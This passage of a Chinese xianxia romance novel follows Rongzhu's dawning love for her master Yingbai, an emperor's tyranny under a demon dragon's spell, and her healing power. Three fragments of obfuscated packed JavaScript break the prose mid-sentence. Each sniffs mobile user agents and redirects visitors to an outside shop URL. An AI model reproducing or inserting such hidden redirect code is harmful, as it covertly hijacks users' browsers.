“容珠。”邱梧悄悄对她道:“应白没有对你表达感情是因为他的心中尚有对自己的不认可,他失去了灵核,对任何人而言都是心结,而且你们一直是以师徒关系相处着,他又不知道你内心想法,贸然表白会冲撞你,这也不是一个成熟的行为,他不能这么做,也不会这么做。” 容珠忽然停住步子,反应过来一件事,她是从魔龙那里得知自己喜欢应白,这件事她没对任何人说,邱梧连这都看出来了? “我有什么内心想法?”她尽力不让自己脸红。 邱梧歪头看她一副茫然无知的模样,不禁笑道:“你不喜欢应白?” 见容珠欲言又止,邱梧一把把她拉了过来,用胳膊夹住她,坏笑道:“你们两个拼命藏着的心思以为别人看不出来啊,我告诉你,这个世界上干坏事能藏得住,说谎话也能圆过去,唯独喜欢一个人是藏不住的!” “哎呀,你小点声!”容珠眼睛躲闪,脸红得就算天黑了也遮不住。 邱梧靠近她耳边:“你不妨去看看,谁家师父给徒弟送簪子送花的,谁家师父和徒弟互相不顾死活地为对方好?” 她们两个背对着阳光,仿佛在干什么见不得人的事。 容珠从邱梧胳膊肘里溜了出来,忍不住问:“如果这些代表喜欢,可我从来没有送过他什么东西,我只是看他受伤就担心,难道顾先生受伤你不会担心吗?到底怎样才算喜欢,我真的喜欢他吗?” 邱梧似乎有些意外容珠会问她这些问题,她想了想道:“我明白,你原先生活的世界没有这么多感情,你看不到,听不到,所以遇到这种事情你会迷茫。” 在那样一个弱肉强食的世界,容珠尚且性命难保,哪有功夫去想情情爱爱。很多时候,情窦初开是一回事,父母教导是另一回事,容珠无父无母,男女之间的喜欢于她而言就是认知以外的事。 这下子,邱梧意识到了事情的不寻常性。她没有办法教容珠明白这些,因为她自己也是一个没经历过感情的姑娘,虽然她心里知道互生情愫的男女之间该如何相处,但换到应白与容珠身上,却不能一概而论。 容珠不知道感情是什么,应白又身处失去灵核的打击之中,纵使他心态平稳,可他难道不会因灵核一事在自己对容珠的情感中产生些许顾虑吗? 正因为他喜欢容珠,所以他更想让自己以从前耀眼勃发的样子呈现在容珠面前。 横亘在两人之间的不是应白不知道容珠的心意,互相喜欢是基础,真要在一起却不能只依靠浪漫,这一点,邱梧在自己的父母身上体会到很多。 容珠见她半天不说话,直白道:“莫非我把你问住了?” 邱梧笑了笑,点点头:“感情一事不是像修炼功法一样按照书上的步骤循规蹈矩去做就能做好。你现在来到朝荣国,或许慢慢地不用别人教,自己就能明白,总之不需要刻意为之,顺其自然就好。” 她瞧着容珠红晕未散去的脸,忍不住轻轻捏了一下:“现在就这般,要是以后被应白亲了岂不更……” “邱梧!”容珠要伸手堵她的嘴,邱梧急忙躲闪,容珠眼疾手快挠她的痒痒肉,邱梧也趁机挠她,两人皮闹着,各自的脚互相拌着了对方,摔了一跤,对面廊下一群紫阳宫弟子正目不转睛地往这看。 两人情知出糗,容珠拉邱梧起来,慌里慌张地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874571|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑了,邱梧笑道:“你去哪儿?” 容珠边跑边回头:“我的药还没喝呢!” 紫阳宫弟子在廊下一边偷笑一边装作若无其事的模样走开了。 这些天压抑在邱梧心中的情绪终于彻底疏散开了,她从没有哪一天觉得空气是这般清爽。 一个人想做什么,在很多时候的某一瞬间就会萌芽,总会时不时骚动自己去做,去得到。可一个人下定决心改变自己的想法是很难的,人的思想有自我防护机制,它的一切动作都是顺着人的心意而为,只会趋利避害,只为满足自身利益。 邱梧也不敢相信就在昨天晚上她还抱着必杀容珠的决心,可今日早上,她亲自制止了自己的行为,断绝自己的恶念,就像自己跟自己打了一架,终究是原先的自己获胜。 这种感觉很奇妙,虽说回到了从前的自己,可心境好像不一样了。 “哎呀先生,你就叫她过来吧。” 不远处,上官琛的声音传进了邱梧耳朵,她转头去看,见不远处的石桌上,顾先生和上官琛在谈论着什么,金毛正蹲在上官琛脚边伸着舌头休息。 “先生,阿琛,你们在说什么,让谁来?” “阿姐!”上官琛朝她招手让她坐下,“先生今晨收到了云萧的信,云萧在信中问可不可以来紫阳宫玩,这有什么不可以的,阿姐你说是不是?” 邱梧看见顾先生手中正拿着一封信,想起从前和云萧的交情,便笑道:“我们和云萧多年未见,自然盼望久别重逢,想来是她的私事已经解决,所以想过来跟我们叙叙旧?” 顾寄章严峻的脸上带着浅浅笑意,他指着信道:“她和那书生已经讲开了,她对书生说以后不许骗人,书生也对她道了歉,可那书生说自己的确是真心实意喜欢云萧,问云萧愿不愿再给他一次机会。” “她怎么说?”上官琛追问。 “她说如果她喜欢的男子负过她一次,她便永不回头,所以和那书生就此罢了。”顾寄章的语气像在说小孩子过家家一样。 邱梧忽然想起什么:“云萧一直在外游历,可曾试过自己的血能否点亮石碑?若没有,既来都城,也该去试试。” 如今朝荣国内有一大半的人已经试过了,暂时未出现第三位点亮石碑者。 顾寄章气道:“我曾告诉过她此事,但她一直没对我说有没有试过,我想她准是在外面玩疯了,既如此,我就写封信让她过来,这么大人了,从小也不正经修炼,也该收敛收敛玩性,像什么样子!” 邱梧和上官琛互相一笑。当年,上官琛六岁,邱梧十岁的时候,沈宫主找来顾寄章教他们姐弟修炼。 那会儿云萧才五岁,因为娘亲去得早,所以一时之间离不开顾寄章的照顾,云萧便和邱梧上官琛一起在紫阳宫修炼。 云萧生性好动,绝不会一动不动坐在某处超过一刻时间,若是没人理她便会觉得无聊,她就找邱梧说话,但邱梧定力足,不受云萧影响,所以云萧将目标对准了上官琛。 因此,云萧和上官琛是顾寄章每日必打的对象,也正因此,他们二人感情更好。 后来顾寄章的姐姐来信让云萧过去玩,云萧终于摆脱了修炼的苦,当即收拾好行李就要去姑姑家。 再后来,每过一段时间,云萧会来紫阳宫玩几日,也就两三天的时间,因为她的爹爹总会考验她的灵力有没有增长,云萧来紫阳宫的次数越来越少了。 等十四岁的时候,她就一个人去游山玩水了,算起来,邱梧和上官琛至少有四五年没见到她了。 得知云萧可能不日就要来,上官琛显得异常高兴,但很快,紫阳宫弟子传来的一个消息,登时让上官琛从云端跌入谷底。 “外面……外面……”这弟子气喘吁吁,目露惊慌,似乎瞧见了平生从没见过的恐怖景象,“紫阳宫被皇宫卫兵包围了!陛下今日在朝上大怒,训斥了上官宫主,现在上官宫主已经押入皇宫牢狱里了!” 67. 紫阳变 紫阳宫的弟子将门口堵了个水泄不通,邱梧和上官琛赶到的时候,正听见众弟子吵吵嚷嚷地,惊慌抱怨之声听在心里更加惶惶不安。 “外面来了多少皇宫卫兵?”邱梧急匆匆问着,众弟子纷纷让道,紫阳宫门外的景象很快显露出来,身穿黑色铁甲的卫兵占据在紫阳宫门口,散发着惊慑人心的冷光。 一弟子忙回:“圣女,来的不多,总共二十个人。” “他们要干什么?”上官琛跑到人群前头,下了阶梯,看到二十个黑色卫兵分成两队,左右站在紫阳宫两边。 “并不知发生了何事,眼下沈宫主还未回。” 这弟子话音刚落便听见半空中一声剑鸣,众人纷纷抬头,正是沈宫主和邱宫主御剑归来。 沈宫主面上似乎仍带着怒气,她瞥了这些卫兵一眼,朝众弟子道:“都回去,该干什么就干什么,他们不会影响紫阳宫的。” 众弟子面面相觑,邱梧虽不知发生了何事,但眼下事发突然,母亲说没事想来定还有商榷的地步,她对众人道:“大家先稍安勿躁,等我们弄清楚事情的来龙去脉再跟大家说,先去练剑吧。” 人群陆陆续续散去,上官琛担忧他爹的安危,急不可耐地询问沈宫主,沈宫主先安抚道:“你爹没事,只是冲撞了陛下被关起来了,唉,陛下是越来越魔怔了。” 此时,容珠还不知道紫阳宫外的变故,她正坐在自己屋里的镜子前,端详着发上的珍珠簪。此刻瞧来,仿佛这不是一支簪子,更像一块蜜糖在心里慢慢融化,晶莹的糖汁顺着心口蔓延,整个身子就像浸在蜜罐里。 她又从抽屉里拿出一个用纸包住的东西,打开后,里面是一片片已经干枯了的粉色花瓣。 这是那天花灯节时,应白送给她的芙蓉花,她回去把它放在水上漂浮着,但鲜花往往衰落得快,容珠不舍得扔,只好把花瓣收集起来,用纸包住。 “原来……”她心里默默地想,“师父在以各种方式向我表明心意,如果不是邱梧告诉我,我要到什么时候才能知道这些?” 她呆愣愣地坐在椅子上,眼睛是在看着芙蓉花瓣,思绪早就飘到了花灯节那天以及以往和应白相处的情景。 不经意看到镜子中的自己,竟是一副憨笑的模样,傻得出奇,她忙拍了拍脸,收敛笑意,神情正色。 这样的感觉跟她当时得知自己不是废物,能正常修炼时一样喜悦。她突然发现尽管都是喜悦,但不是废物的喜悦和与邱梧成为好朋友的喜悦以及喜欢的人也喜欢自己的喜悦是不相同的。 但唯有喜欢应白这件事上容珠除了喜悦之外总还有几丝顾虑,其他的事她都知道该如何面对,但这件事她不知道该如何面对应白。 如果他醒了……容珠想了想邱梧的话,就好像想把灵根草种子煮成解毒水除了拥有种子和水外,还需要时间。 她叹了口气,感情一事真是比修炼功法还要难! 她把花瓣重新包好放回抽屉里,出门吹风来散一散心头思绪。 紫阳宫后花园里的枫树像个虚弱的老人,留不住随风掉落的枫叶,散落的枫叶铺满石子道路,几个紫阳宫弟子正拿着扫帚打扫。 等走近时,容珠恍惚听见“卫兵”“赵皇帝下令”“上官宫主入狱”几个字眼,那些弟子看到容珠便朝她打招呼,容珠问:“我怎么方才听见你们说上官宫主入狱了?” 那些弟子的脚边已经扫出了几个小枫叶堆,闻言,他们拿着扫帚朝容珠围来,一个两个说自己听来的情报。 容珠这才意识到紫阳宫发生了大事,她估摸着这个时辰沈宫主已经回来了,便朝紫阳宫大殿跑去。 赶到的时候,正听见上官琛气愤的声音直掀房顶:“那些官员都开始趋炎附势,陛下怎么能这么做!” “发生什么事了?”容珠看到众人脸上都是一副深沉的模样,上官琛此刻已然气得周身似火,邱梧道:“陛下下令让百姓每日早中晚三次对皇宫进行三拜,有天他便衣出行后发现有户人家到了时辰明言不拜,便下令要诛杀对方全家!” 容珠怔了片刻,她忽然想起从前听父亲说,有一天,圣灵宫的谷嵩圣灵去山下闲逛,走到哪里,人们见了他都会主动跪下,很快,长长的道路两边都跪满了人,就像是迎接天神下凡。 但当谷嵩走到一条街道上时,一个奔跑的小孩不小心撞上了他,小孩儿不知道他是谁,很快,他的母亲来了。 小孩儿的母亲看到谷嵩圣灵后惊慌失措,想拉着小孩一起跪下,但小孩儿不明白为什么要跪,谷嵩说:“因为你是低贱之人,见了强者当然要下跪。” 小孩仍是不懂,他没有下跪,母亲怕惹祸上身,便强制小孩下跪,小孩儿虽跪下了,嘴巴却说:“强者有什么了不起,你又不能像神仙一样给我们带来福气,我们为什么要向你下跪?” 然后,母子俩双双死于谷嵩手中,不仅如此,谷嵩还派手下使者鞭笞这里的每一个人,告诉他们凡是对圣灵不敬,将会死得比这对母子还惨。 现在的世界,不会有人对圣灵不跪,令容珠没想到的是,这样的情况竟在朝荣国上演了。赵皇帝的所作所为已经慢慢趋近于一个“强者”,又或者,他其实在强者的道路上,越走越远。 赵皇帝下令后忽然又收回了就地诛杀的旨意,他让卫兵把这个男子带回宫内,关在牢狱里,此事很快传扬开了,今日朝拜时,没有一个官员出言阻止,竟都称赞陛下处罚得极是。 “若不彰显陛下龙威,那些平民百姓便不知感恩,不懂得他们现在吃饱穿暖的日子是陛下给的。” 其实并不是所有官员都这么想,还有一部分官员面色难看。 连续几日违背陛下心意的人都打的打,关的关,到现在左相还躺在床上昏迷不醒,众人怕牵连己身,哪怕心中对陛下有意见也不敢明言。 如今朝堂中的局面是两拨人,一拨是顺赵皇帝心意者,一拨是哑巴。 然而,赵皇帝正笑呵呵地决定将那男子择日斩首时,寂静的朝堂忽然有一高亢之声响起: “先帝在时,曾说有百姓才有君王,百姓是天下之本,自陛下即位以来,一直保持这种执政理念,陛下难道忘了吗?” 人群纷纷朝上官宫主望去,有人目露惊慌,有人目露轻蔑,唯有沈宫主和邱宫主二人仍不动声色地站在一旁。 赵皇帝眉毛一挑:“你的意思是此人明言对寡人不跪,寡人不该惩罚他吗?” “此人不跪是因为他意识到,现在的君王不是从前的君王,陛下从前仁政爱民,朝荣国上下无一不尊,可是现在却为了彰显威仪而增加不必要的仪式,使得民心动摇,长此下去必将引起民愤,还请陛下清醒一些,不要被魔龙的言语蛊惑!” 大殿忽然变得寂静无比,有一瞬间仿佛连呼吸声也听不见,随之而来的,是人群的窃窃私语。 沈宫主抬头看着众人表情,不仅是前面的官员,就连她身旁的一些其他门派的一些掌门也对上官宫主的言论感到匪夷所思。 邱宫主此时出列道:“陛下,魔龙擅长蛊惑人心,若近段时间来,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877508|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人性情大变,那一定是受到魔龙的蛊惑,还望诸位守住本心,不要被欲望诱惑。” 殿中的议论声更嘈杂了,高座上的赵皇帝神色严肃,眼中闪过一丝疑惑,有宫主道:“魔龙竟还能改变人的想法不成?” 邱宫主道:“魔龙法力高深莫测,它能增加心中恶念,放大欲望,人便会为了达到欲望而不择手段,邱某提醒诸位,谨守做人之本才能不受魔龙影响。” “把魔龙杀了不就行了?” 有人道:“我听闻前几日沈宫主带人已将魔龙诛杀,诛杀的人还是点亮石碑的容珠姑娘。” 沈宫主对众人道:“魔龙之死不能消灭它加注在人身上的恶念,我们只能与自己做斗争,不做谋取利益而伤害他人的事,魔龙的法术自然就解开了。” 沈、邱、上官三位宫主这么一说,有不少人已经认定陛下的反常是出自魔龙的蛊惑。赵皇帝静静注视着下面众人,他的眉头微微皱着,像在自我怀疑。 “三位宫主的意思是,陛下的所作所为是错的?”一道缓慢清澈的声音打消了众人的窃窃私语,齐刷刷的目光看向最前排一身灰袍的右相。 右相轻蔑一笑,先朝赵皇帝十分恭敬地一礼,然后说:“陛下乃真龙天子,区区魔龙又怎么可能近得了陛下之身,我等臣民以陛下为尊,敬重陛下,爱戴陛下,陛下的决定永远正确,陛下的决定,所有人都必须遵从。” 赵皇帝的眉头微微舒展,但仍没有表态。 上官宫主直言道:“陛下是真龙天子,同时也是人,是人就会有犯错的时候,身为臣民应该适时纠正陛下的行为,而不是一味谄媚顺意,听取朝臣劝诫可是陛下从前一直惯行的举动,在下斗胆劝告陛下,减轻赋税,收回重修金殿的决定,将皇后娘娘放出,并亲自去左相家中探望,至于牢狱中那位男子,他虽态度莽撞强硬,但并非是非不分之人,只因陛下的出格之举才令其斗胆表态,所以草民认为,应该放其回家,望陛下三思!” 大殿更静了,人们也不再眼神交换,也不敢抬头去看赵皇帝的神情,只盯着藏在袍子下的双脚,屏住呼吸,等待着最终结局。 “望陛下三思!”邱宫主很快说道。 “望陛下三思!”沈宫主也站了出来。 赵皇帝的脸色越来越暗,右相察觉后随即朝三人喊道:“大胆!竟敢出言不逊,指责陛下不是!” 他面色愤怒,双眸狠戾,随即转头对赵皇帝道:“陛下,此人藐视权威,对您不尊,臣建议,不如押入地牢,和那刁民共同问斩!” “那倒不必。”赵皇帝目光阴沉,“魔龙之患未除,还要靠各大门派鼎立解决,上官宫主出言狂妄,实该惩罚,就在地牢里待半个月好好反省。” 右相眼睛一转,愧笑道:“陛下有理,是臣考虑不周,那沈宫主和邱宫主也对陛下不敬,不知陛下打算如何处理?” 邱宫主暂且不议,但大家都知道沈宫主的地位,若朝荣国第一宫主被处决,足能引起轩然大波。 赵皇帝冷冷地瞥了他们三人一眼:“从今日起,派卫兵驻守紫阳宫、无尘宫和红岭宫,算是寡人给你们的警示,望其他宫主明白,每日的朝拜是向寡人表达你们忠诚和崇敬的机会,你们的责任是帮助朝荣国抵御妖魔鬼怪,在朝堂上没有你们说话的资格!” “事情的来龙去脉就是这样。”邱梧有些愁苦地陷入沉思。容珠不敢置信:“陛下还是要杀那个男子?” “是啊……”沈宫主似乎气累了,说话显得有气无力,“三日后当众斩首。” 68. 爱之力(上) “陛下不能这么做!母亲,我们得想办法救那个人!” “还能怎么救?”沈宫主看向上官琛,“陛下听了我们的劝告没有丝毫悔改之意,救得了一个人能救整个朝荣国吗? “皇宫守卫森严,我们无法在行刑前将此人救出,即便是在行刑日公然救走,难道陛下不会大发雷霆,派士兵天涯海角搜捕此人?难道让他一生在外漂泊,居无定所吗?” 上官琛紧握桌角,横眉倒竖,沈宫主接着道:“陛下是所有问题的根本原因,如果他不改过,认清自己,那明日,后日,还有更多的百姓会受到伤害。” 上官琛神情仍是焦急担忧,但眼神已经不光是愤怒了,他正垂眸思考,好像事情到了一个死胡同,再没有解决方法。 邱宫主沉重道:“如今劝诫对于陛下来讲已经毫无用处,他现在独自裁断,凡是反驳他,不顺从他心意的人都是不尊敬他的人,陛下现在的所作所为就是在昭告天下,他是朝荣国的王,掌握所有人的生杀大权,所有人只能唯命是从,不能忤逆反驳。” 似曾相识的感觉一直围绕着容珠,如果朝荣国慢慢趋近于她所在的世界现状,这便又回到了她最初和应白来到朝荣国的原因这件事上。 他们想寻找为什么他们所在的世界如此邪恶,而现在本该是爱之世界的朝荣国也要被恶主导了,一切的变化都是因为魔龙,因为它口中所谓的天道。 不过,魔龙曾说她所在的世界也是违背天道的,那是不是就说明朝荣国并不会发展成与自己所在的世界那样冷漠残忍? 她忽然想起了魔龙洞穴里的黑白光芒。 如果赵皇帝在霸权压制的政治道路上越走越远,也就是黑色光芒可能会越来越多,那白色光芒一定不能少,不能像她的世界那样少,至于黑白两色光芒究竟要维持怎样一种局面才算正常天道,容珠不得而知。 “自古以来,朝荣国从未出现不仁不德之君,月有阴晴圆缺,我看,魔龙出世和陛下性情大变一事非人力所能干预。” 顾寄章之言让容珠生出趋近天道之感,她看到其他人的脸上或多或少流露出疑惑的神色,而顾先生本人仿佛也不明朗。 他摸着自己的下巴,双眼似乎在注视堂中央的地板,他的话显然没有说完,但要补充什么,他似乎也在思索。 过了一会儿,邱梧叹息一声:“陛下只能自己迷途知返,一个人想让自己做什么很容易,想不让自己做自己想做的事却很难。” 众人的目光又落在邱梧身上,容珠知道她在说什么,她不禁想:魔龙是否知道在它蛊惑的人群中,有人可以战胜它的魔咒,恢复本心呢? 三日后便是那位无辜之人的行刑日了,容珠不想让这种不公的杀戮在朝荣国发生。 怎么办? 魔龙用的是精神控制,是一种无形的法术,已经远超他们修炼之人所习的灵力,他们的灵力可以攻击别人,可以保护自己,只能肉//体接触,无法控制精神…… 她不认为赵皇帝能放下心中想成为强者的欲念,如果魔龙能给人增加恶念,那世上有没有一种方法可以让人增加善念? 善念,恶念。 奚昤,苍望。 容珠的心开始扑通扑通跳,《神妖录》说奚昤是爱之神尊,她的体内有奚昤的神识,那她可不可以,可不可以,用她的灵力来增加人的善念? 容珠被这个想法惊到了,有一瞬间她认为自己有些自不量力。等回到房间后,她关起门,尽可能去想这份可能。 她盘腿坐在床上,闭上眼睛,先使自己静下心来,然后…… “奚昤,你在吗?” 容珠在心里默默念着,她知道,自己正在斗胆尝试一件有些癫狂的事。 “奚昤,你能感受到我吗?” “能听见我说话吗?” 容珠调整呼吸,运转灵力,感受灵力在体内如溪流般涌动,从灵核流出,最终汇入灵核。 她一遍遍呼唤奚昤,屏住呼吸,生怕听不到,感受不到这房间里一丝异样之变。 “我想给人增加善念,我能做到吗?” 不知是容珠太紧张,还是太渴望这件事,她隐约感到自己的灵核有些发热,肺腑下方那个位置好像燃起了一簇小火苗,温热的灵力渐渐遍布全身。 可是这种变化并没有进一步发生什么事,容珠失望地睁开眼,她开始想,或许奚昤的神识只是提醒自己不要心生恶念,她无法与之沟通,毕竟奚昤已经仙逝万万年了。 思及此,容珠在房间里踱步,如果当时奚昤留下一片神识只为让她所附身之人心存善念,可也只是一个人啊,一个人心中有爱又能做出什么事来呢?一个人在大千世界中那么渺小,奚昤何至于留下一片神识只为影响一个人呢? 她从房间这头走到房间那头,正准备再次转身的时候,眼角余光瞥到了地上一抹黑亮之物。 容珠定睛去看,黑亮的龙甲在床底下躺着。那天容珠因误碰灵根草草根而中毒晕了过去,想来是他们带着龙甲送她回来的时候,慌乱中掉在地上了。 容珠走过去弯腰捡起,龙甲很薄,有一定重量,甲面亮得能隐约瞧见自己的轮廓,龙甲根部还带着点点干了的血迹,侧面有一处平整的小缺口,像是被什么东西割掉了一块。 她坐在椅子上,将龙甲立在匣子前,细细凝望着它。龙甲是魔龙的护身盾牌,刀枪不入,可几日前,这片龙甲却被自己削下,因为她有奚昤的灵力。 所以……容珠看着自己的手掌心,奚昤的神识附在她的灵核上,不仅让容珠自己不会心生恶念,还会给予容珠奚昤的力量。 那奚昤的神力不就是爱之力量吗?如果容珠想给他人心中增加善念,是不是可以把自己的灵力稍稍灌输在他人身上,或许就有效果? “容珠,你在吗?” 门外传来邱梧的声音,容珠中断了思绪,起身开门。 邱梧眉眼中夹杂着一丝忧虑,看见容珠后急切道:“先生刚刚给应白检查他的身体状况,没想到他又发热了,他内里伤得不轻,先生说如果只靠喝药的话可能效果太慢,且他的内伤得不到及时治疗的话,往轻了说会落下病根,严重来讲还会因拖沓病情而危及生命!” 脑子里有一根弦再次绷紧了,容珠大步穿过连接两个屋子的曲径小道,来到应白所住的小院里。此时,顾寄章刚给应白喂完药。 “我之前说应白体内没有灵核,不能承受灵力治疗,想靠药物徐徐缓解,但我低估了他所受的伤,他似乎……”顾寄章皱着眉头,双眸沉思,似是在斟酌什么措辞。 “顾先生,难道我师父的伤有蹊跷之处吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882057|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容珠的心像被她不由自主提起的一口气禁锢了一样,跳得艰难。 “我检查了他的身体,除了肩膀处有一个细小的伤口外,其他地方并无伤痕,可他的肺腑被很强大的灵力所伤,如此强大的灵力波及人体不可能没有外伤,他是怎么做到体外毫发无损,体内却伤得如此严重?” 容珠内心一揪,想起了一件事,“他之前为了救我,曾吃过一颗丹药,这颗丹药能让人灵力到达巅峰状态,但只能维持一个时辰,且每使用一次灵力,身体会受到反噬。难道他受这么重的伤是因为又吃了这种丹药吗?” 顾寄章若有所思,他没有问应白为什么要吃这种丹药,他一直在考虑能造成应白现状的种种可能,“灵力反噬,这倒很符合这种伤情,那他上一次也伤得这么重吗?” 容珠摇头:“并没有,调养了几天就好了。” “他身体底子倒不错,灵力反噬相当于自己全力打自己,他没有灵核还能只靠调养就能痊愈,实在匪夷所思。” 容珠猜测应白之所以拥有顽强的生命力多半与他自小修习的心法有关,这个心法在他被人生剖灵核的时候保住了他一条命,在他后来遭受灵力反噬的时候帮他抵抗,可这一次却伤得这么重,她真想知道,应白身上究竟发生了什么? 顾寄章轻轻叹了口气,“但他这次有性命之忧了,我看不得不考虑用灵力治疗。” 邱梧道:“您不是说应白身体无法吸收灵力带来的能量吗?” “确实这样,但事到如今不能不行险招,否则他极有可能会有生命危险。”顾寄章垂眸思索着,“用什么样的灵力也得衡量,应白此刻身体脆弱,不能用太强劲或者太霸道的灵力,太雄厚或太炽热的灵力也不行。” 顾寄章忽然驻足看着邱梧,“你的灵力沉稳含蓄,或可一试。” 邱梧心中疑惑:“我以为容珠的灵力温和柔缓,应该更适合应白。” 顾寄章点头:“是适合,但她现在的灵力比较薄弱,医治内伤需根据情况减轻或加重灵力,我担心她的力量不够。” 救人刻不容缓,容珠对邱梧道:“师父现在性命攸关,保险起见还是你尽可能试一试吧。” 顾寄章扶应白坐起,让他两腿交叉,扶稳他的身体后对邱梧道:“灵力在用于治疗内伤时与跟人打斗不一样,你根据我所说,慢慢将一成灵力输入到他相应的穴位中。” 邱梧本就在医术方面颇有造诣,只需顾寄章稍稍点明意思她就知道怎么做。 她坐在应白背后,淡淡的紫色灵力在她掌间浮现,根据顾寄章的指令,一点点将灵力输送到应白体内,应白原本宁静的脸顿时生出一丝痛苦之感。 “降低灵力输送程度。”顾寄章及时让邱梧调整,淡紫色的光辉若有若无在屋内飘荡,应白痛苦的表情似乎没有减轻,慢慢地,邱梧的灵力已经经过应白体内第五处穴位了。 容珠看到应白的双手不自觉握了起来,他在忍痛,而自己此刻也有些呼吸困难,好像应白握住的不是他的膝盖,而是她的心脏。 “收手!”顾寄章的声音急促地说了出来。 灵力还没有完完整整运行完一圈,应白的脸色已经痛苦不堪了,鲜红血迹顺着他苍白的嘴角流了出来,顾寄章忙扶他躺下,眉心如麻绳,“看来不行,他的身体承受不了。” 69. 爱之力(下) “顾先生,还有什么办法能让我师父好转?”容珠看到顾寄章又坐在床边给应白把脉焦急难耐。 顾寄章没有诊断很长时间,他收回手说:“他现在情况很不好,承受不住灵力医治,吃药又不足以缓解他的伤……” 他想了想,拿过纸笔又写了张药方,“我先给他换些药材喝喝看,但也只能抗住一时,还得另想别的方法才行。”说罢,他便拿着药方去煎药了。 门开发出的轻微“吱呀”声将房内的空气扭得更揪心了。 容珠看着躺在床上的应白,他的头微微偏着,露在被子外面的脖颈是不自然的红,耳朵也红得仿佛要滴血,他眉头拧着,肉眼可见的不舒服。 邱梧轻声安慰:“紫阳宫内还有很多可以治疗重伤的丹药,我尝试配一些,兴许能帮得上应白。” 屋里静了下来,这种静不是宁静,而是一种有些可怕,如死水一样的寂静。静得容珠心里发慌,静得似乎再也不会有任何动静。 她来到应白床边,伸出手,指腹划过他眉间,滚烫的皮肤像一簇小火灼烧着容珠指肚。 她知道人在发热的时候有多难受,整个人昏昏沉沉,还会不断做噩梦,她不知道应白此刻有没有在做噩梦,在容珠的记忆里,自己的梦境总是不太快乐的。 她微微掀起被子将应白的手往里推了推盖好,手触碰到他滚烫的手时,应白似乎浑浊不清地叫了一声她的名字。 他紧闭着眼,眉头又皱了起来,呼吸混乱,像是梦魇住了。 “师父?”容珠出声唤他。 应白没有回应,他的手指头微微动了动,擦过容珠的手指,苍白的嘴微微张开,发出虚弱昏沉的声音:“容珠……” “师父,我在这,你听得见吗?” “不要……”他含糊地发出两个字,手指也不知想抓什么,在床上虚弱无力地动着。 容珠的手也被这极轻的滚烫感触碰着,她犹豫着,介于目前两人的关系,她准备将自己的手收回。 “容珠!” 应白沙哑的声音从喉间发出,十分急促,仿佛生死一线之际,他拼命伸手去抓,宽大发热的手掌紧紧抓住容珠收回一半的手,虎口相握,力道之大,骨头都发出一声脆响。 容珠进退两难,想退,应白的手掰不开,进?应白掌心热得像一团火将她的手包围。 她深呼一口气,按压住心中不合时宜的悸动,重新坐了下来,让自己的手放松。 应白额上浮了一层水光,毛巾和水盆在能看见却够不到的地方,火热的感觉从手上蔓延到胳膊上,再蔓延到浑身上下。 容珠又是担忧,又是羞怯,又混乱又慌乱,她抬起另一只胳膊用袖子擦去应白额上的汗水,过了好一会儿,应白渐渐平息了下来。 被紧握的感觉松懈了些,容珠的手能动了,她现在却一点也不想从中抽离,害怕和忧虑慢慢浮上心头,她一边往坏处想,如果师父因为内伤而失去性命怎么办?一边又安慰自己,事情尚有回转的机会,她要尽力想办法让师父恢复。 她看着面目较为平静的应白,主动握住他的手,心里默默道:“师父,你一定会好起来的,你是我心里最重要的人,我一定要抓住你的手,就像我每一次有危险,你不顾一切想抓住我一样。” 她全心全意思虑着应白,敞开了心扉面对自己对他的喜欢,沉浸在他昏睡着,一无所知的面容上。灵核微微发烫,淡黄色的灵力从掌心散出,圈绕着应白的胳膊一层层递进。 容珠毫无意识到自己的变化,因为从应白握住她手的那一刻,她整个人也是滚烫的,她感觉不到自己的灵核在发烫,感觉不到温热的灵力不受控制地流散出来,直到淡黄色的光芒笼罩上应白的面庞,容珠才从自己的意识中清醒。 她惊讶地看着自己的灵力渐渐将应白全身包裹,她没有用意念使出灵力,灵力怎么会自己跑出来?这些灵力会不会伤害应白?就像顾先生本想用邱梧的沉稳灵力来医治应白结果应白的身体承受不了而吐血。 坏情况占据了她的头脑,她慌忙撤回手,灵力却像一层金纱衣似的包裹着应白,在淡黄色的外表下,隐约有一层七彩光芒蕴含其中释放着璀璨光辉。 她本欲抬手收回灵力,但一种异样的感觉告诉她,这些灵力是自己的又不好像不是自己的,它从自己的掌中流出,却不会按照自己的意念收回。 她忙蹲在应白跟前,仔细想从他脸上看出有什么变化,没想到的是,应白通红的脸竟渐渐恢复成了正常血色,他的表情就像一个睡得很香的人,所有的一切都在几瞬间变得正常无比。 容珠惊奇地看着他身上发生的转变,仿佛不相信自己的眼睛,索性直接用手摸了摸应白温温的脸,他的额头,他的脖颈,他…… 